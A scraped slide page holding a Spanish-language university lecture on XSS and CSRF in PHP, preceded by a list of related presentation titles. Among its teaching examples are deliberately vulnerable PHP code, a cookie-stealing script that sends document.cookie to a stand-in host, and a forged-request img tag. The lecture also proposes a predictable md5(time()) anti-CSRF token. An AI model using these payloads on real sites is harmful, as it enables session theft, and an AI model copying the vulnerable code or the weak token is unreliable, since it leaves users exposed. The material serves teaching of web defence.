CI-2413 Desarrollo de Aplicaciones para Internet

Slides:



Advertisements
Presentaciones similares
Presentación – Web Attack
Advertisements

1 | Web Attacks Documentación – Web Attack. 2 | Web Attacks Seguridad en Aplicaciones Web Protocolo HTTP Vulnerabilidad XSS Vulnerabilidad CSRF Path Traversal.
1 | Web Attacks Documentación – Web Attack. 2 | Web Attacks Seguridad en Aplicaciones Web Protocolo HTTP Vulnerabilidad XSS Vulnerabilidad CSRF Path Traversal.
CUPS Configuración y Uso de Paquetes de Software
PRESENTA: Mizrain Cano Chico Profesor: Lic. Albino Petlacalco Ruiz
Paper On Demand Server & Designer. Descripción Técnica de Arquitectura y Componentes de la Solución PPOD.
CI-2413 Desarrollo de Aplicaciones para Internet
CGI I La mayor parte de los elementos HTML de que disponemos permite al visitante visualizar los contenidos de un sitio, pero no interactuar con él. Dicho.
ADMINISTRACION DE REDES SECUENCIA DE COMANDOS EN SITIOS CRUZADOS(XSS)
Errores comunes al desarrollar websites
M.C. Rafael A. García Rosas.
Estructura para servidores de servicios en redes IRC
Introducción Apache WEB Server
Facturación Electrónica
Como suscribirse al entorno educativo de la red de Municipios Los siguientes pasos los deberá hacer solo una vez.
SERVIDOR DE CONTENIDOS
Framework Hexápodo PHP fácil, rápido y sin dolor
Curso de PHP Tema 6: Seguridad.
Ing. Lorena Ruhl - Marco Rapallini - Javier FabiánMódulo 4: Seguridad y Aplicaciones Web Ing. A. Lorena Ruhl Universidad Tecnológica.
YII (Yes It Is!) – Php Framework
El mecanismo básico de interacción entre el usuario y un sitio web esta dado por el uso de formularios html. El server envía un formulario que el browser.
Desarrollo de sitios web con PHP y MySQL Tema 7: Seguridad José Mariano González Romano
Seguridad del protocolo HTTP
de Hacking a un eCommerce
ADMINISTRACION DE REDES TEMA REDIRECCIONES Y REENVÍOS NO VALIDADOS
Hugo García G. Julio SISTAM Ingeniería / Av. 11 de Septiembre 2214 Depto. 41 / Fono: (56-2) /
“Seguridad en Aplicaciones Web”
HOL – FOR06. ► Introducción. ► Configuración de Forefront. ► Amenazas web: Solución Antimalware ► Amenazas de correo electrónico. Malware y Spam ► Protección.
ADMINISTRACION DE REDES SECUNECIA DE COMANDOS EN SITIOS CRUZADOS(XSS) DIEGO ALEXANDER MADRID DUQUE GABRIEL ANDRES AGUIRRE JARAMILLO INSTITUTO TECNOLOGICO.
TRINO ANDRADE G UNIVERSIDAD ECOTEC. PRESENTACIÓN DE OUTLOOK EXPRESS Microsoft Outlook Express es una herramienta necesaria que le permite administrar.
WEB VULNERABLE DVWA Universidad de Almería
The OWASP Foundation OWASP AppSec Aguascalientes 2010 Guía de Desarrollo Seguro Francisco Aldrete Miembro de OWASP capítulo Aguascalientes.
LOGO Proyecto de Nomina. Agenda Arquitectura Objetivos. Ámbito del proyecto.
EXPLOITEXPLOIT Equipo 3Equipo 3. Exploit: Es un programa o código que "explota" una vulnerabilidad del sistema o de parte de él para aprovechar esta deficiencia.
Metodología para la Auditoría de Seguridad en Aplicaciones Web
Instituto Tecnológico Superior de Nochistlán División Académica Ingeniería en Sistemas Computacionales “Manejo de Seguridad en PHP: Aplicaciones Seguras”
UD 1: “Adopción de pautas de seguridad informática” Análisis de las principales vulnerabilidades de un sistema informático. Luis Alfonso Sánchez Brazales.
WAF Web Application Firewalls
REFERENCIA DIRECTA INSEGURA A OBJETOS
XSS CROSS SITE SCRIPTING Es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte.
Formularios La mayor parte de los elementos HTML de que disponemos permite al visitante visualizar los contenidos de un sitio, pero no interactuar con.
1 Windows XP Service Pack 2 con Tecnologías de Seguridad Avanzada Pablo Folgueiras Gerente Regional de Producto Windows Microsoft Cono Sur.
Cristian Fonnegra Marin
 Cada vez existen más amenazas informáticas a las cuales estamos vulnerables de cualquier ataque o infección por la gran demanda de usuarios que hay.
LA WEB 1.0 En esta diapositiva se hablara sobre la web 1.0 Y veremos para que sirvió ese tipo de tecnología.
Validaciones de datos en PHP Programación en Internet II.
Lenguaje de Programación VI e-Commerce Ing. CIP Víctor Pando Beltrán Post Grado en Ing de Sistemas
RASMUS LERDORF T IPEAMOS LA URL EN EL NAVEGADOR. S E ENVÍA EL MENSAJE A TRAVÉS DE INTERNET A LA COMPUTADORA. WWW. LANACION. COM / PAGINA 1. HTML SOLICITANDO.
Seguridad del protocolo HTTP:
NOMBRE: KENIA MACÍAS. RECOMENDACIONES PARA HACER UN FORMULARIO En un sistema web, en muchas ocasiones es necesario obtener información del usuario y para.
Internet y sus servicios
Pues vamos a ver un poco de cómo usar google como nuestra herramienta personal para obtener información sensible o buscar algunas vulnerabilidades en cms,
Análisis de las principales vulnerabilidades de un sistema informático. Gabriel Montañés León.
Secuencia de Comandos en Sitios Cruzados XSS
NOMBRE: LUIS CORDOBA STIVEN CORDOBA A. AREA: TECNOLOGIA GRADO: 11 COLEGIO: GABRIEL GARCIA MARQUEZ.
¿Que es un Blog? Curso Uso didáctico dos novos medios 2009 A Coruña.
HTTP Session Management Desarrollo de Aplicaciones para Internet.
Hackear un Sitio Web. Claudio
Introducción al Lenguaje. ¿Qué es PHP? O Es un lenguaje de programación que es interpretado por un servidor web. O El lenguaje es genérico. PHP está orientado.
Integrantes: Giomara Delgado Miranda Miguel Villao Figueroa Juan Quiroz Asencio.
PROTOCOLO SSL. DEFINICIÓN SSL son las siglas en inglés de Secure Socket Layer (en español capa de conexión segura). Es un protocolo criptográfico (un.
TIPOS DE WEB.
Tecnólogo Gestión Administrativa
OWASP APPSEC RIO DE LA PLATA dcotelo13
MANUEL DE USUARIO DE WORPRESS.  No es el programa más fácil pero si muy completo y permite un nivel de personalización y configuración muy  elevado.
Planificación Curso UNIDAD 1. INTRODUCCIÓN A LOS SERVICIOS EN RED UNIDAD 2. SERVICIOS DHCP UNIDAD 3. SERVICIOS DNS UNIDAD 4. SERVICIOS DE ACCESO REMOTO.
Php y mysql índice 1. Conexión 6. Ejercicio 5. Insertar un registro 2. Operaciones básicas 3. Seleccionar BD 4. Crear una BD P h p y m y s q l Índice 1.
Estado del Arte del Desarrollo Seguridad - Toba - Instalador Comité Técnico Consorcio SIU – Mayo 2009 Sebastián Marconi
Introducción a programación web Martin Esses. En las presentaciones anteriores, vimos como enviar datos a un controlador usando POST y como generar formularios.
Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet.
Transcripción de la presentación:

CI-2413 Desarrollo de Aplicaciones para Internet Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet

Seguridad Podremos hablar de aplicaciones web seguras y inseguras. Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque. Sobre esta base se pueden considerar las aplicaciones web como inseguras. Se verá protección contra dos tipos de ataques.

Cross-Site Scripting (XSS) El error fundamental que conduce a vulnerabilidades de tipo XSS es tener confianza en los datos foráneos. La recomendación general es desconfiar siempre de los datos del visitante. Como datos foráneos vamos a considerar cualquier dato que reciba el servidor web. V.G.: correo emitido por un cliente de correo web, un banner publicitario, las citas proveidas por XML vía HTTP, los datos del visitante, ...

Ejemplo de XSS Considere el siguiente formulario: <form action="/registrar.php" method="post"> <p>Nombre de usuario: <input type="text" name="reg_usuario" /></p> <p>Email: <input type="text" name="reg_email" /></p> <p><input type="submit" value="Registrar" /> </form>

Ejemplo de XSS Ahora considere el siguiente script de inserción de los datos: if (!get_magic_quotes_gpc()) { $_POST['reg_usuario'] = addslashes($_POST['reg_usuario']); $_POST['reg_email'] = addslashes($_POST['reg_email']); } $sql = "insert into users (username, email) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_email']}')";

Ejemplo de XSS Imagine el siguiente nombre de usuario: <script>alert('¡Oh no!');</script> Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente. Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros utilizadores.

Ejemplo de XSS Despligue por un administrador: <table> <th>Usuario</th> <th>Email</th> </tr> <?php if ($_SESSION['admin']) { $sql = 'select username,email from users'; $result = mysql_query($sql); while ($user = mysql_fetch_assoc($result)) { echo "\t<tr>\n"; echo "\t\t<td>{$user['username']}</td>\n"; echo "\t\t<td>{$user['email']}</td>\n"; echo "\t</tr>\n"; } ?> </table>

Ejemplo de XSS En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.

Ejemplo de XSS El riesgo es aún más evidente con algún ataque más vicioso como el siguiente: <script> document.location = 'http://maligno.ejemplo.org/roba_cookies.php?cookies=' + document.cookie </script> En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser utilizados para lanzar ataques de usurpación de identidad, obtener datos sensibles, etc.

Protegerse contra XSS Filtrar todos los datos foráneos. Utilizar la funcionalidad existente: htmlentities(), strip_tags, utf8_decode(), etc. pueden ayudar a escribir la lógica de filtrado. Solamente autorizar un contenido validado. Utilizar una convención de nombres descriptiva. Ser creativo.

Cross-Site Request Forgeries (CSRF) Este tipo de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el sitio web a sus usuarios. CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.

Ejemplo de CSRF Considere un foro hipotético en http://foro.ejemplo.org/ que utiliza el siguiente formulario: <form action="/add_post.php"> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>

Ejemplo de CSRF Dado que en el código anterior no se indicó POST una solicitud GET es enviada: GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1 HOST: foro.ejemplo.org Cookie: PHPSESSID=123456789

Ejemplo de CSRF Considere la etiqueta <img> siguiente: <img src="http://foro.ejemplo.org/add_post.php?post_subject=foo&post_message=bar” /> Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víctima va a enviar un mensaje en el foro y sin darse cuenta.

Protegerse contra CSRF Utilizar el método POST en los formularios. Utilizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals. No simplificar las acciones importantes. Obligar al usuario a utilizar nuestros formularios HTML.

Protegerse contra CSRF Un ejemplo de técnica para obligar al usuario a utilizar nuestros propios formularios es la siguiente: <?php $token = md5(time()); $_SESSION['token'] = $token; $_SESSION['token_timestamp'] = time(); ?> <form action="/add_post.php"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>

Lecturas adicionales PHP Under Attaque: presentación sobre XSS y CSRF http://talks.php.net/show/php-under-attack/ XSS http://httpd.apache.org/info/css-security/ http://www.cgisecurity.com/articles/xss-faq.shtml http://www.php-secure.info/v2/article/XSS.php CSRF http://www.tux.org/~peterw/csrf.txt

Proyecto de seguridad XSS: HTMLfilter es un proyecto para PHP que analiza todos los datos HTTP antes de ser utilizados.